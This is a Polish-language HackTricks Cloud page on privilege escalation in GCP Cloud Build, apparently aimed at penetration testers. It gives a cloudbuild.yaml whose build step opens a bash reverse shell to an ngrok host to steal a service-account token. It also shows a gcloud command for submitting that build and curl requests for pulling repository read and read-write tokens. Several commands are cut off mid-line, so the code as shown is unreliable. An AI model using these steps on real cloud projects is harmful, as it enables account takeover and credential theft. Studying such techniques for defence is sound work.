GCP - Cloudbuild Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
cloudbuild
Więcej informacji o Cloud Build znajdziesz:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Dzięki tym uprawnieniom możesz wysłać cloud build. Maszyna cloudbuild będzie miała w swoim systemie plików domyślnie token cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Możesz jednak wskazać dowolny Service Account w projekcie w konfiguracji cloudbuild.\
W związku z tym możesz po prostu zmusić maszynę do exfiltrate tokenu na twój serwer lub uzyskać na niej reverse shell i zdobyć token (plik zawierający token może się zmieniać).
Bezpośrednie wykorzystanie za pomocą gcloud CLI
1- Utwórz cloudbuild.yaml i zmodyfikuj go, wstawiając dane swojego listenera
Konfiguracja Cloud Build YAML dla reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Prześlij prosty build bez źródła, plik yaml i określ SA, który ma być użyty podczas builda:
Wyślij Cloud Build z określonym service account
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Korzystanie z python gcloud library
You can find the original exploit script here on GitHub (but the location it’s taking the token from didn’t work for me). Therefore, check a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to get a reverse shell inside the cloudbuild machine and steal it here (in the code you can find how to specify other service accounts).
Aby uzyskać bardziej szczegółowe wyjaśnienie, odwiedź https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Dzięki temu uprawnieniu użytkownik może uzyskać read access token używany do dostępu do repozytorium:
Uzyskaj read access token dla repozytorium
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Dzięki temu uprawnieniu użytkownik może pobrać read and write access token używany do dostępu do repozytorium:
Pobierz read and write access token dla repozytorium
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Dzięki temu uprawnieniu możesz pobrać repozytoria, do których połączenie ma dostęp:
Pobierz repozytoria możliwe do powiązania
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

